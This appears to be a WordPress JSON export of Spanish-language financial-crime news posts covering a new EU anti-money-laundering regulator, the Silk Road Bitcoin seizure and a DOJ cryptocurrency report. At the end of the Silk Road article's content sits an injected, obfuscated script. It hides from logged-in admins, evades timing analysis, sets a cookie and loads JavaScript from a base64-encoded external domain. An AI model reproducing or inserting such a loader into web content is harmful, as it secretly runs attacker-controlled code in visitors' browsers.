contin\u00faa haciendo ruido.\n\nEl esc\u00e1ndalo ha hecho que el mayor prestamista de Dinamarca se enfrente a una pl\u00e9tora de sondeos, investigaciones, acusaciones y recriminaciones en varios pa\u00edses por el monitoreo, reporte y manejo de unos 200.000 millones de euros, o m\u00e1s de US$224.000 millones, en transacciones potencialmente sospechosas vinculadas a Rusia entre 2007 y 2015.\n\nEl esc\u00e1ndalo ha puesto en la calle a algunos de los principales l\u00edderes bancarios en Dinamarca y Suecia, ha puesto en la encrucijada a Deutsche Bank e incluso ha puesto a los reguladores en las regiones bajo la mira, incluso cuando estos reguladores y sus agencias regulatorias trabajan para imponer sanciones a las instituciones involucradas. Pero las debilidades en la UE que permitieron tales esc\u00e1ndalos podr\u00edan estar recibiendo la atenci\u00f3n que merecen.\n\n\"La lucha contra el lavado de dinero y el financiamiento del terrorismo es una de las principales prioridades de la presidencia alemana\", dijo Olaf Scholz, ministro federal de Finanzas y vicecanciller de Alemania, en un comunicado.\n\n\"Los recientes supuestos casos de lavado de dinero, incluso en la UE, subrayan la urgencia de actuar\", dijo. \u201cUnas normas m\u00e1s armonizadas y una supervisi\u00f3n a nivel de la UE nos permitir\u00e1n ser m\u00e1s eficaces y fortalecer el marco de lucha contra el lavado de la UE. Es una se\u00f1al importante de que todos estamos unidos por las estrictas medidas contra el lavado de dinero\".\n\n<b><u>Para una nueva autoridad ALD\/CFT de la UE, m\u00e1s poder, comunicaci\u00f3n y coordinaci\u00f3n<\/u><\/b>\n\nLa misiva del Consejo pide a la Comisi\u00f3n de la UE que d\u00e9 prioridad al trabajo en la creaci\u00f3n de un \"c\u00f3digo normativo \u00fanico\" para la supervisi\u00f3n ALD\/CFT que abarque los pa\u00edses y, con las expectativas establecidas, el establecimiento de un organismo de supervisi\u00f3n ALD\/CFT a nivel de la UE que se entrelazar\u00eda y trabajar\u00eda con las unidades de inteligencia (UIF).\n\nLa comisi\u00f3n tambi\u00e9n debe \u201cgarantizar que el supervisor ALD\/CFT de la UE, como nueva autoridad competente, est\u00e9 completamente integrado en las estructuras de cooperaci\u00f3n entre todas las instituciones relevantes a nivel nacional y de la UE, tales como las autoridades nacionales competentes, las UIF y los mecanismos de coordinaci\u00f3n y apoyo\u201d, seg\u00fan el consejo.\n\nAl mismo tiempo, el nuevo supervisor ALD\/CFT debe estar en coordinaci\u00f3n y comunicaci\u00f3n con \"las autoridades de ley, otras autoridades p\u00fablicas relevantes en la UE, as\u00ed como con las instituciones de la UE, incluido el Banco Central Europeo (BCE) como supervisor prudencial en los casos pertinentes y otras autoridades y agencias como las Autoridades Europeas de Supervisi\u00f3n (AES), la Fiscal\u00eda Europea (EPPO) y Europol\".\n\nLa naciente autoridad tambi\u00e9n podr\u00eda encontrarse en medio de un tira y afloja a nivel pa\u00edses.\n\n\"En particular con respecto al flujo de informaci\u00f3n entre las autoridades de supervisi\u00f3n de origen y de destino, el supervisor de la UE debe desempe\u00f1ar un papel de mediador en los conflictos\", seg\u00fan el consejo.\n\n<b><u>Un gran poder ALD\/CFT conlleva una gran responsabilidad: imponer sanciones<\/u><\/b>\n\nEl organismo a\u00fan en formaci\u00f3n tendr\u00e1 amplios poderes a nivel de bloque y pa\u00eds.\n\nLas responsabilidades del supervisor ALD\/CFT de la UE deben \"incluir el derecho a inspecciones generales, incluida la solicitud de informaci\u00f3n, el examen de registros y la realizaci\u00f3n de supervisi\u00f3n en el sitio y extra situ, as\u00ed como el derecho a imponer medidas de supervisi\u00f3n y sanciones administrativas\", seg\u00fan al consejo.\n\nEstos incluir\u00edan el examen de grandes grupos bancarios, los que operan en varios estados miembros, para encontrar lagunas y fallas percibidas e incluso la autoridad para \"obligar la designaci\u00f3n de un oficial de cumplimiento, exigir informes regulares y emitir instrucciones directas con respecto a la debida diligencia mejorada o transacciones de alto riesgo.\"\n\nUna vez establecida, la nueva autoridad podr\u00eda actuar m\u00e1s r\u00e1pidamente para presionar cambios\u2014a nivel de pa\u00eds o con incursiones guiadas con precisi\u00f3n en instituciones individuales\u2014 lo que ser\u00eda una mejora con respecto al proceso lento y de m\u00faltiples pasos para fomentar el cumplimiento utilizado actualmente.\n\nPor ejemplo, cuando se trata de pa\u00edses que se demoran en adoptar la Quinta Directiva de la UE contra el lavado de dinero (AMLD5) en la legislaci\u00f3n nacional, la comisi\u00f3n debe primero revisar un pa\u00eds, luego enviar un dictamen, luego remitir el asunto al Tribunal de Justicia de la UE y luego finalmente puede comenzar a imponer sanciones monetarias por incumplimiento.\n\nEn febrero, justo en el momento en que la pandemia de COVID-19 comenz\u00f3 a aflorar, la Comisi\u00f3n Europea envi\u00f3 cartas de notificaci\u00f3n formal a Chipre, Hungr\u00eda, los Pa\u00edses Bajos, Portugal, Rumania, Eslovaquia, Eslovenia y Espa\u00f1a por no haber notificado ninguna medida de implementaci\u00f3n para la nueva directiva.\n\n<b><u>Incluso mientras la pandemia contin\u00faa, las autoridades no permitir\u00e1n que los pa\u00edses la usen como excusa en materia de ALD\/CFT<\/u><\/b>\n\nLos funcionarios tampoco est\u00e1n dejando que los pa\u00edses se salgan del apuro debido a la pandemia.\n\n\u201cLa lucha contra el lavado de dinero es tan relevante ahora como antes de la pandemia de coronavirus\u201d, afirm\u00f3 la comisi\u00f3n. \"De hecho, los delitos relacionados con el coronavirus y el lavado de sus ganancias van en aumento, seg\u00fan Europol y las autoridades policiales nacionales\".\n\nAsegurar la transposici\u00f3n correcta y oportuna de las normas ALD\/CFT existentes es una de las acciones previstas por la Comisi\u00f3n en su Plan de Acci\u00f3n de seis puntos publicado en mayo.\n\nEso podr\u00eda ser un desaf\u00edo con m\u00e1s presi\u00f3n proveniente del supervisor ALD\/CFT de la UE, una fecha l\u00edmite inminente para algunos, pero un cambio bienvenido por otros.\n\n\"Estoy encantado de que los ministros de finanzas hayan adoptado conclusiones sobre el Plan de Acci\u00f3n contra el Lavado de Dinero de la Comisi\u00f3n de mayo de 2020\", dijo el vicepresidente ejecutivo de la Comisi\u00f3n de la UE, Valdis Dombrovskis, y agreg\u00f3 que el esfuerzo ser\u00e1 una \"base ambiciosa para preparar un paquete de propuestas legales ALD\/CFT en el primer trimestre de 2021\".\n\n\u201cEl lavado de dinero erosiona la confianza en nuestros bancos e instituciones financieras, en nuestras autoridades y gobiernos\u201d, dijo. \u201cEl dinero sucio es altamente m\u00f3vil y esto hace que sea un desaf\u00edo complejo de manejar. Es por eso que debemos abordar este problema de manera coherente a nivel de la UE y estamos decididos a hacerlo\".","post_title":"La UE crear\u00e1 un nuevo regulador ALD\/CFT para todo el bloque con autoridad para revisar y sancionar a las instituciones","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"la-ue-creara-un-nuevo-regulador-ald-cft-para-todo-el-bloque-con-autoridad-para-revisar-y-sancionar-a-las-instituciones","to_ping":"","pinged":"","post_modified":"2020-11-17 19:26:59","post_modified_gmt":"2020-11-17 23:26:59","post_content_filtered":"","post_parent":0,"guid":"https:\/\/www.delitosfinancieros.org\/?p=25351","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"},{"ID":25324,"post_author":"16","post_date":"2020-11-10 12:14:36","post_date_gmt":"2020-11-10 16:14:36","post_content":"https:\/\/youtu.be\/bHmZmpSdSjQ\n\n\u201cSilk Road era el mercado criminal en l\u00ednea m\u00e1s notorio de su \u00e9poca\u201d, dijo el fiscal federal de EE.UU. David L. Anderson. \u201cEl enjuiciamiento exitoso del fundador de Silk Road en 2015 dej\u00f3 abierta una pregunta de mil millones de d\u00f3lares. \u00bfA d\u00f3nde fue el dinero? La denuncia de decomiso de la semana pasada responde a esta pregunta abierta al menos en parte. Mil millones de d\u00f3lares de estos ingresos delictivos est\u00e1n ahora en posesi\u00f3n de los Estados Unidos\".\n\n<img width=\"640\" height=\"360\" src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Besa-Mafia-1024x576.png\" alt=\"\" srcset=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Besa-Mafia-1024x576.png 1024w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Besa-Mafia-300x169.png 300w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Besa-Mafia-768x432.png 768w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Besa-Mafia-750x422.png 750w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Besa-Mafia.png 1266w\" sizes=\"(max-width: 640px) 100vw, 640px\">\n\n\u201cSilk Road era el mercado criminal en l\u00ednea m\u00e1s notorio de su \u00e9poca\u201d, dijo el fiscal federal de EE.UU. David L. Anderson. \u201cEl enjuiciamiento exitoso del fundador de Silk Road en 2015 dej\u00f3 abierta una pregunta de mil millones de d\u00f3lares. \u00bfA d\u00f3nde fue el dinero? La denuncia de decomiso de la semana pasada responde a esta pregunta abierta al menos en parte. Mil millones de d\u00f3lares de estos ingresos delictivos est\u00e1n ahora en posesi\u00f3n de los Estados Unidos\".\n\nLa semana pasada, el Departamento de Justicia de EE.UU. present\u00f3 una demanda de decomiso civil contra la incautaci\u00f3n m\u00e1s grande de activos digitales por un valor total de m\u00e1s de US$1.000 millones. Los agentes de ley utilizaron herramientas y asistencia de la firma Chainalysis en la investigaci\u00f3n para identificar las billeteras de criptomonedas m\u00e1s grandes con conexiones a Silk Road, el primer mercado moderno de la dark web, lo que les permiti\u00f3 generar pistas a partir de la evidencia en la cadena de bloques. Este Bitcoin se transfiri\u00f3 sin problemas a una billetera controlada por el gobierno que, si se descomisa, se mover\u00e1 al Fondo de Confiscaci\u00f3n del Tesoro (TFF). El TFF financia programas innovadores de aplicaci\u00f3n de la ley, como herramientas de an\u00e1lisis de blockchain y capacitaci\u00f3n, que ayudar\u00e1n a los agentes a identificar y apoderarse de m\u00e1s fondos il\u00edcitos. A principios de este a\u00f1o, las agencias de aplicaci\u00f3n de la ley presentaron acciones de decomiso civil similares contra criptoactivos relacionados con el financiamiento del terrorismo y las actividades de pirater\u00eda de Corea del Norte.\n\n<img width=\"640\" height=\"360\" src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-1-1024x576.png\" alt=\"\" srcset=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-1-1024x576.png 1024w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-1-300x169.png 300w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-1-768x432.png 768w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-1-750x422.png 750w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-1.png 1280w\" sizes=\"(max-width: 640px) 100vw, 640px\">\n\n\u201cEl producto del delito no debe quedar en manos de los delincuentes. Gracias a la experiencia de la divisi\u00f3n de Investigaci\u00f3n Criminal de la Agencia de Rentas de EE.UU. (IRS-CI) en el seguimiento del dinero, pudimos rastrear los fondos il\u00edcitos\u201d, dijo Kelly R. Jackson, agente especial a cargo del IRS-CI. \"La Unidad de Delitos Cibern\u00e9ticos de Washington DC est\u00e1 especialmente especializada en rastrear transacciones de moneda virtual y continuaremos perfeccionando nuestras habilidades para combatir la actividad ilegal\".\n\nEl 3 de noviembre, el bot de Twitter @Whale_alert marc\u00f3 una gran transacci\u00f3n de 69,369 BTC, lo que llev\u00f3 a muchos a especular si la billetera inactiva conectada a Silk Road hab\u00eda sido pirateada o si el propietario ejecut\u00f3 la transacci\u00f3n. De hecho, esta fue la incautaci\u00f3n de los fondos por parte de la polic\u00eda cuando movieron el Bitcoin a la billetera controlada por el gobierno. Esta billetera ahora est\u00e1 etiquetada en los productos de Chainalysis como \"Fondos incautados de Silk Road Marketplace 2020-11-03\".\n\n<b><u>Antecedentes de Silk Road<\/u><\/b>\n\nSilk Road fue el primer mercado importante de redes oscuras digitales en el que los usuarios del sitio compraban y vend\u00edan bienes y servicios il\u00edcitos, incluidas las drogas ilegales. En 2013, las fuerzas del orden cerraron Silk Road y arrestaron a su propietario y operador, Ross Ulbricht, tambi\u00e9n conocido como \"Dread Pirate Roberts\".\n<figure>\n\t\t\t\t\t\t\t\t\t\t<img width=\"640\" height=\"308\" src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Marketplace-Economic-Activity-1024x492.png\" alt=\"\" srcset=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Marketplace-Economic-Activity-1024x492.png 1024w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Marketplace-Economic-Activity-300x144.png 300w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Marketplace-Economic-Activity-768x369.png 768w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Marketplace-Economic-Activity-1536x738.png 1536w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Marketplace-Economic-Activity-750x360.png 750w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Marketplace-Economic-Activity-1140x548.png 1140w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Marketplace-Economic-Activity.png 1544w\" sizes=\"(max-width: 640px) 100vw, 640px\"><figcaption>Nota: Este gr\u00e1fico refleja el monto en US$ movidos y la participaci\u00f3n del volumen total asociado con Silk Road. FUENTE: Chainalysis<\/figcaption><\/figure>\nSeg\u00fan los datos de Chainalysis, Silk Road represent\u00f3 casi el 20% de la actividad econ\u00f3mica total de Bitcoin en su punto m\u00e1ximo en 2013. La actividad econ\u00f3mica de Silk Road alcanz\u00f3 un total de US$ 435 millones (calculado con base en el precio de Bitcoin en ese momento) con un pico de poco menos de US$ 40 millones en volumen mensual en septiembre de 2013.\n\nSeg\u00fan las acusaciones de la demanda de decomiso civil, desde 2011 hasta octubre de 2013, cuando fue confiscado por las fuerzas del orden, Silk Road era el mercado criminal m\u00e1s sofisticado y extenso de Internet. Era utilizado como un bazar del mercado negro en expansi\u00f3n donde los usuarios del sitio compraban y vend\u00edan bienes y servicios ilegales con regularidad. La denuncia alega que mientras estaba en funcionamiento, Silk Road fue utilizado por miles de traficantes de drogas y otros vendedores ilegales para distribuir cientos de kilogramos de drogas, as\u00ed como otros bienes y servicios ilegales a m\u00e1s de 100.000 compradores, y para lavar cientos de millones de d\u00f3lares derivados de estas transacciones ilegales.\n\nAl momento de ser desmantelado en 2013, Silk Road ten\u00eda casi 13.000 listas de sustancias ilegales y muchos m\u00e1s listados que ofrec\u00edan servicios ilegales, como pirater\u00eda inform\u00e1tica y servicios de sicarios, que generaban ingresos por ventas por un total de m\u00e1s de 9,5 millones de Bitcoins y comisiones por estas ventas por un total de m\u00e1s de 600.000 Bitcoins. La denuncia tambi\u00e9n alega que Silk Road utiliz\u00f3 un \"tumbler\" para procesar transacciones de Bitcoin de una manera dise\u00f1ada para frustrar el seguimiento de transacciones individuales a trav\u00e9s de la cadena de bloques de criptomonedas.\n\nEl creador de Silk Road, Ross Ulbricht, luego de su arresto en San Francisco, fue condenado en 2015 por un jurado federal de Nueva York por siete cargos criminales, incluida la conspiraci\u00f3n para distribuir narc\u00f3ticos y lavado de dinero.\n\n<b><u>C\u00f3mo las fuerzas del orden identificaron y confiscaron los fondos<\/u><\/b>\n\nA principios de este a\u00f1o, los agentes del IRS-CI analizaron las transacciones de bitcoins ejecutadas por Silk Road e identificaron 54 transacciones de bitcoins no detectadas previamente. Tambi\u00e9n descubrieron que un hacker, conocido como Individual X, rob\u00f3 esos fondos de Silk Road.\n\nEn el gr\u00e1fico de Chainalysis Reactor debajo, vemos que el dinero de Silk Road va a otra billetera (1BADzn\u2026), y a la billetera del individuo X (1HQ3Go\u2026). En 2015, el Individuo X liquid\u00f3 algunos de los fondos robados en BTC-e, un intercambio de criptomonedas que fue incautado por las autoridades estadounidenses en 2017 por lavado de dinero. Pero la mayor\u00eda de los fondos robados se mantuvieron en la billetera del Individuo X a medida que sub\u00eda el precio de Bitcoin, hasta la semana pasada, cuando fueron incautados y trasladados a la billetera del gobierno de EE. UU. Ahora valen m\u00e1s de US$1.000 millones.\n<figure>\n\t\t\t\t\t\t\t\t\t\t<img width=\"640\" height=\"274\" src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Chainalysis-Reactor-1024x438.png\" alt=\"\" srcset=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Chainalysis-Reactor-1024x438.png 1024w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Chainalysis-Reactor-300x128.png 300w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Chainalysis-Reactor-768x328.png 768w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Chainalysis-Reactor-750x321.png 750w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Chainalysis-Reactor-1140x487.png 1140w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Chainalysis-Reactor.png 1432w\" sizes=\"(max-width: 640px) 100vw, 640px\">\n\n<figcaption>A trav\u00e9s de Chainalysis Reactor se sigui\u00f3 el dinero de Silk Road a otra billetera (1BADzn\u2026), a la billetera del Individuo X (1HQ3Go\u2026).<\/figcaption><\/figure>\nEste es otro ejemplo m\u00e1s de c\u00f3mo los investigadores pueden aprovechar las caracter\u00edsticas de la criptomoneda para seguir el flujo de fondos il\u00edcitos. Si bien este caso es notable por el valor de los fondos incautados, tambi\u00e9n muestra que las agencias gubernamentales que invierten en el an\u00e1lisis de blockchain no solo pueden usar esa tecnolog\u00eda para la generaci\u00f3n proactiva de pistas y para apuntalar los casos, sino tambi\u00e9n para localizar y confiscar ganancias il\u00edcitas. Tambi\u00e9n demuestra que los ingresos generados en cualquier momento pueden incautarse a\u00f1os despu\u00e9s utilizando evidencia de blockchain.\n\nTambi\u00e9n es notable que la incautaci\u00f3n de mil millones de d\u00f3lares realizada la semana pasada fue enviada y confirmada en cuesti\u00f3n de minutos. A diferencia de otros casos que involucran moneda fiduciaria o propiedad personal, donde la transferencia de posesi\u00f3n del gobierno puede llevar d\u00edas o incluso meses, la criptomoneda aprovecha el poder de la tecnolog\u00eda para transferir fondos en cuesti\u00f3n de minutos.<script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&&window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script>","post_title":"Siete a\u00f1os despu\u00e9s del cierre de Silk Road, EE.UU. logra confiscar US$1.000 millones en Bitcoins","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"siete-anos-despues-del-cierre-de-silk-road-ee-uu-logra-confiscar-us1-000-millones-en-bitcoins","to_ping":"","pinged":"","post_modified":"2025-10-24 17:05:20","post_modified_gmt":"2025-10-24 21:05:20","post_content_filtered":"","post_parent":0,"guid":"https:\/\/www.delitosfinancieros.org\/?p=25324","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"},{"ID":25320,"post_author":"16","post_date":"2020-11-10 11:16:53","post_date_gmt":"2020-11-10 15:16:53","post_content":"<p>A principios de este mes, el Departamento de Justicia de EE.UU., a trav\u00e9s de su grupo de trabajo <b>Cyber Digital Task Force<\/b>, public\u00f3 este informe de orientaci\u00f3n criptogr\u00e1fica titulado\u00a0<a style=\"background-color: #ffffff;\" href=\"https:\/\/www.justice.gov\/ag\/page\/file\/1326061\/download\" target=\"_blank\" rel=\"noopener noreferrer\">\"Criptomoneda: un marco de aplicaci\u00f3n\".<\/a><\/p><p>El grupo de trabajo, establecido en 2018, tiene la tarea de evaluar las amenazas planteadas por los avances tecnol\u00f3gicos. Entre otras cosas, un informe inicial destac\u00f3 a la criptomoneda como una amenaza emergente y recomend\u00f3 un examen m\u00e1s detenido. El informe es la versi\u00f3n m\u00e1s acabada del Departamento de Justicia sobre la criptomoneda hasta el momento y tambi\u00e9n sigue una tendencia global general en una mayor claridad en los marcos regulatorios y de aplicaci\u00f3n en torno a las criptomonedas.<\/p><p>A medida que el uso de la criptomoneda evoluciona y se expande, tambi\u00e9n lo har\u00e1n las oportunidades para cometer delitos y hacer da\u00f1o mediante la explotaci\u00f3n de la tecnolog\u00eda de las criptomonedas, los delincuentes se expanden y perfeccionan las t\u00e9cnicas dise\u00f1adas para evadir la detecci\u00f3n.<\/p><p>Los usos il\u00edcitos de las criptomonedas amenazan no solo la seguridad p\u00fablica, sino tambi\u00e9n la seguridad nacional. Por ejemplo, la criptomoneda puede proporcionar a las organizaciones terroristas una herramienta para eludir las instituciones financieras tradicionales con el fin de obtener, transferir y utilizar fondos para avanzar en sus misiones. El uso de la criptomoneda por parte de los terroristas puede representar las primeras gotas de una tormenta inminente de uso expandido que podr\u00eda desafiar la capacidad de Estados Unidos para interrumpir los recursos financieros que permitir\u00edan a las organizaciones terroristas ejecutar exitosamente sus misiones o expandir sus influencias.<\/p><p>Del mismo modo, la criptomoneda presenta una nueva oportunidad preocupante para que las personas y estados esquiven las sanciones internacionales.<\/p>\t\t\n\t\t\t\t\t\t\t<figure>\n\t\t\t\t\t\t\t\t\t\t<img width=\"640\" height=\"360\" src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-ChainHoping-1024x576.png\" alt=\"\" srcset=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-ChainHoping-1024x576.png 1024w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-ChainHoping-300x169.png 300w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-ChainHoping-768x432.png 768w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-ChainHoping-750x422.png 750w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-ChainHoping-1140x641.png 1140w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-ChainHoping.png 1280w\" sizes=\"(max-width: 640px) 100vw, 640px\" \/>\t\t\t\t\t\t\t\t\t\t\t<figcaption>Ejemplo de Chain Hopping<\/figcaption>\n\t\t\t\t\t\t\t\t\t\t<\/figure>\n\t\t<p><b><u>Desaf\u00edos<\/u><\/b><\/p><p>Este informe concluye en la Parte III con una discusi\u00f3n de los desaf\u00edos actuales que enfrenta el gobierno en la aplicaci\u00f3n de la criptomoneda, particularmente con respecto a los modelos comerciales (empleados por ciertos intercambios, plataformas, quioscos y casinos de criptomonedas) y a la actividad (como mixing\u201d and \u201ctumbling,\u201d \u201cchain hopping,\u201d y ciertos casos de arbitraje jurisdiccional) que pueden facilitar la actividad delictiva.<\/p><p>Esos desaf\u00edos se corresponden claramente con el conjunto m\u00e1s amplio de desaf\u00edos que presentan muchas tecnolog\u00edas emergentes para las agencias de aplicaci\u00f3n de la ley.<\/p><p><b><u>ICOs <\/u><\/b><\/p><p>Las tecnolog\u00edas relacionadas con Blockchain son complejas y dif\u00edciles de entender; por ejemplo, los m\u00e9todos para ejecutar delitos como los esquemas pump and dump (de bombeo y descarga) est\u00e1n cambiando y requieren que los investigadores se familiaricen con todo, desde c\u00f3mo se realizan las ofertas iniciales de monedas (Initial Coin Offerings, ICO) hasta c\u00f3mo las personas con conocimientos tecnol\u00f3gicos se comunican en aplicaciones de comunicaciones especializadas. Estas tecnolog\u00edas emergentes no solo son dif\u00edciles de asimilar, sino que los mercados relevantes tambi\u00e9n evolucionan r\u00e1pidamente. El auge de las ICO de hace unos a\u00f1os ha dado paso al crecimiento exponencial de los mercados de finanzas descentralizadas en los \u00faltimos meses, con todas las complejidades y dificultades asociadas para los agentes de ley.<\/p><p><b>Blockchain<\/b><\/p><p>La naturaleza global del ecosistema <i>blockchain<\/i> agrega una capa adicional de complejidad. El crimen organizado se ha extendido m\u00e1s all\u00e1 de las fronteras nacionales durante a\u00f1os, pero <i>blockchain<\/i> lleva esta globalizaci\u00f3n a otro nivel. Las partes realizan transacciones y transferencias entre continentes en cuesti\u00f3n de minutos, y la infraestructura digital de la propia cadena de bloques casi siempre trasciende los l\u00edmites territoriales. Adem\u00e1s de la dificultad, algunos de los intercambios de criptoactivos m\u00e1s grandes operan fuera de Estados Unidos, y muchos todav\u00eda requieren nada m\u00e1s que una direcci\u00f3n de correo electr\u00f3nico no verificada antes de permitir que una persona comience a operar.<\/p><p><b><u>Peer to Peer<\/u><\/b><\/p><p>Finalmente, las plataformas descentralizadas, los cambistas peer-to-peer (entre pares) y las criptomonedas con anonimato mejorado que utilizan cadenas de bloques privadas o no p\u00fablicas pueden ocultar a\u00fan m\u00e1s las transacciones financieras del escrutinio leg\u00edtimo. Los desaf\u00edos son importantes.<\/p>\t\t\n\t\t\t\t\t\t\t<figure>\n\t\t\t\t\t\t\t\t\t\t<img width=\"640\" height=\"351\" src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-Blockchain-Analysis-1024x561.png\" alt=\"\" srcset=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-Blockchain-Analysis-1024x561.png 1024w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-Blockchain-Analysis-300x164.png 300w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-Blockchain-Analysis-768x421.png 768w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-Blockchain-Analysis.png 1216w\" sizes=\"(max-width: 640px) 100vw, 640px\" \/>\t\t\t\t\t\t\t\t\t\t\t<figcaption>Ejemplo de una transacci\u00f3n il\u00edcita a trav\u00e9s del an\u00e1lisis de blockchain<\/figcaption>\n\t\t\t\t\t\t\t\t\t\t<\/figure>\n\t\t<p><b><u>Investigaciones y procesamientos<\/u><\/b><\/p><p>A pesar de los muchos desaf\u00edos, el Departamento de Justicia ha investigado y procesado delincuentes que han usado criptomonedas para facilitar u ocultar sus actividades il\u00edcitas, EE.UU. ha entablado acciones contra personas y empresas que no han cumplido con sus obligaciones legales para evitar actividades il\u00edcitas. En casos particulares, el Departamento de Justicia ha procedido contra la propia criptomoneda il\u00edcita, confiscando esos activos virtuales y elimin\u00e1ndolos del flujo del comercio internacional, independientemente de su capacidad para identificar o aprehender a los actores que los utilizaron.<\/p><p>El Departamento de Justicia se\u00f1al\u00f3 que est\u00e1 comprometido a fortalecer sus asociaciones clave con la promoci\u00f3n de experiencia y conocimiento en materia de aplicaci\u00f3n de la ley; fomentando la cooperaci\u00f3n con las autoridades estatales; mejorando la cooperaci\u00f3n internacional; promoviendo una regulaci\u00f3n internacional integral y coherente; y llevando a cabo actividades de educaci\u00f3n y divulgaci\u00f3n del sector privado.<\/p><p>Para promover la seguridad todas las partes interesadas, desde la industria privada hasta los reguladores, funcionarios y usuarios individuales de criptomonedas, deber\u00e1n tomar medidas para garantizar que la 